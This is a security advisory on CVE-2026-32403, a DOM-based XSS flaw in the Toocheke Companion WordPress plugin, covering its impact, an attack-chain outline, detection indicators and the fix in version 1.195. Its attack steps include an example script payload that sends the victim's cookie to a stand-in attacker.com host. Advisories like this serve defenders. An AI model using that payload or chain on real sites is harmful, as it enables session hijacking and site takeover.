CVE-2026-32403: 
WordPress vulnerability analysis and mitigation

CVE-2026-32403 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Toocheke Companion WordPress plugin, affecting all versions up to and including 1.194. The vulnerability was reported by researcher Nguyen Ba Khanh on January 22, 2026, and published by Patchstack on February 21, 2026. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically manifesting as DOM-Based XSS. Exploitation requires an authenticated attacker with at least Contributor-level privileges to inject malicious JavaScript payloads through the plugin's web page generation functionality. Successful exploitation also requires a privileged user to perform an action such as visiting a crafted page, making user interaction a necessary precondition. The vulnerability was assigned Patchstack ID PSIDb85a2f546bda (Patchstack).

Successful exploitation allows an authenticated attacker to inject and execute arbitrary JavaScript in the context of other users' browsers, impacting confidentiality, integrity, and availability across scopes (Scope: Changed). Potential consequences include session hijacking, credential theft, unauthorized redirects, defacement, and delivery of malicious payloads to site visitors. The changed scope means the impact can extend beyond the plugin itself to affect the broader WordPress site and its users (Patchstack).

No public exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Toocheke Companion plugin version 1.194 or earlier, using tools like WPScan or Shodan.
2. Obtain low-privilege access: Register or use an existing account with at least Contributor-level privileges on the target WordPress site.
3. Craft malicious payload: Prepare a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to execute in the context of the plugin's page generation.
4. Inject payload: Submit the crafted payload through the vulnerable input field(s) handled by the Toocheke Companion plugin.
5. Social engineering: Induce a higher-privileged user (e.g., Administrator) to visit the page or content containing the injected payload.
6. Achieve objective: Upon the victim visiting the crafted page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further site compromise (Patchstack).

• Logs: WordPress access logs showing unusual POST or GET requests to pages rendered by the Toocheke Companion plugin containing encoded JavaScript (<script>, %3Cscript%3E, javascript:, onerror=, etc.).
• File System: Unexpected modifications to plugin files or WordPress theme files that may indicate follow-on compromise after XSS exploitation.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages rendered by the plugin, potentially indicating cookie or credential exfiltration.
• Process/Application: Unusual admin-level actions (new admin account creation, plugin installations) in WordPress audit logs that may follow successful session hijacking via XSS.

The vulnerability is patched in Toocheke Companion version 1.195. Site administrators should update the plugin to version 1.195 or later immediately. If an immediate update is not possible, consider temporarily deactivating the plugin or restricting Contributor-level access until the update can be applied. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).